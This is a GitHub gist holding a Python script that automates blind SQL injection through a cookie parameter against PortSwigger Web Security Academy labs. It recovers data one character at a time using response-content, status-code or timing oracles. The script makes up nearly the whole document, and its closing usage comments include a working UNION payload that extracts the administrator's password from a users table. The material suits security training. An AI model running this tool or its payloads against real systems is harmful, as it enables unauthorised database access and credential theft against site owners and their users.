Skip to content

Instantly share code, notes, and snippets.

@NyaMeeEain
Forked from 3lpsy/blind.py
Created December 19, 2020 04:44
Show Gist options
  • Save NyaMeeEain/45975635b027146984ca6b6b6396edec to your computer and use it in GitHub Desktop.
Save NyaMeeEain/45975635b027146984ca6b6b6396edec to your computer and use it in GitHub Desktop.
Scuffed Blind SQL Injection for Burp's Web Sec Academy
import requests
from pathlib import Path
from urllib.parse import quote
import argparse
from string import ascii_lowercase
import os
from urllib3.exceptions import InsecureRequestWarning
# This actually a pretty bad implementation. I wrote it in about an hour.
# If ever doing this against a real vuln or a CTF, you'll want to
# use a much larger charset and implement binary search. Also, only
# cookies are supported as an injection target
# Improvements:
# Support different locations (query, form)
# Support auxiliary data (form, query, additional cookies, headers)
# Support other method types
# Binary search (requires more intelligence than just a template)
#CHARSET= str(ascii_lowercase) + "".join([str(x.upper()) for x in str(ascii_lowercase)]) + "".join([str(x) for x in range(0,10)])
CHARSET= str(ascii_lowercase) + "".join([str(x) for x in range(0,10)])
DEBUG = False
PROXY_URL = ""
def debug(msg):
global DEBUG
if DEBUG:
print(msg)
def _get(*args, **kwargs):
global PROXY_URL
if PROXY_URL:
kwargs["proxies"] = {"http": PROXY_URL, "https": PROXY_URL}
kwargs["verify"] = False
return requests.get(*args, **kwargs)
def send(url, payload, name,location):
cookies = {}
if location.lower() == "cookie":
cookies[name] = payload
return _get(url, cookies=cookies)
def matches(match, match_type, r):
if match_type == "contains":
return match in str(r.text)
elif match_type == "status":
return r.status_code == int(match)
elif match_type == "missing":
return match not in str(r.text)
elif match_type == "elapsed":
return r.elapsed.total_seconds() >= int(match) and r.elapsed.total_seconds() < (3 * int(match))
raise Exception(f"Invalid match type: {match_type}")
def run(url, sql, name, location, match, match_type, max_loops, append_char, current="", counter=1):
debug(f"[-] Iteration Start: {current}")
for c in CHARSET:
if append_char:
candidate = current + c
else:
candidate = c
payload = sql.replace("INJECT", candidate)
payload = payload.replace("COUNTER", str(counter))
debug(f"[-] Payload: {payload}")
r = send(url, payload, name, location)
debug(f"[-] Status: {r.status_code}")
debug(f"[-] Length: {len(r.content)}")
debug(f"[-] Elapsed: {r.elapsed.total_seconds()}")
debug("")
if matches(match, match_type, r):
current = current + c
print(f"[*] Found: {candidate}")
print(f"[*] Current: {current}")
debug("")
counter = counter + 1
return run(url, sql, name, location, match, match_type, max_loops, append_char, current=current, counter=counter)
else:
print("[-] Exhaushted charset")
return current
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--sql", help="sql template with INJECT keyword and COUNTER keywords (can also be a file like --sql payload.txt)", required=True)
parser.add_argument("-e", "--urlencode", action="store_true", help="perform urlencoding of sql template (use with unencoded SQL templates)")
parser.add_argument("-m", "--match", help="oracle to match on", required=True)
parser.add_argument("-M", "--match-type", help="type to match on (very naive, no regex)", default="contains", choices=["contains", "status", "missing", "elapsed"])
# max loops doesn't do anything
parser.add_argument("--max-loops", default=20, type=int, help="oracle to match on")
parser.add_argument("-u", "--url", help="url", required=True)
parser.add_argument("-l", "--location", help="location type", choices=["cookie"], required=True)
parser.add_argument("-n", "--name", help="location name", required=True)
parser.add_argument("-d", "--debug", action="store_true")
parser.add_argument("-a", "--append-char", action="store_true", help="append char candidate to previously found value")
parser.add_argument("-p", "--proxy-url")
args = parser.parse_args()
if args.debug:
DEBUG = True
if args.proxy_url:
PROXY_URL = args.proxy_url
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
sql = args.sql
if Path(sql).exists() and Path(sql).is_file():
sql = Path(sql).read_text().strip()
if args.urlencode:
sql = quote(sql)
print("Answer:", run(args.url, sql, args.name, args.location, args.match, args.match_type, args.max_loops, args.append_char))
## python3 brute.py -s "x'+UNION+SELECT+'a'+FROM+users+WHERE+username%3d'administrator'+AND+substring(password,COUNTER,1)='INJECT'+--+-" -n SomeCookie -m 'Welcome' -l cookie -u https://sometarget.web-security-academy.net -d
## python3 brute.py -s "$SQL" -n SomeCookie -l cookie -u $URL -p http://127.0.0.1:8080 -M elapsed -m 5 -d
## python3 brute.py -s "$SQL" -n SomeCookie -l cookie -u $URL -p http://127.0.0.1:8080 -M status -m 500 -d
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment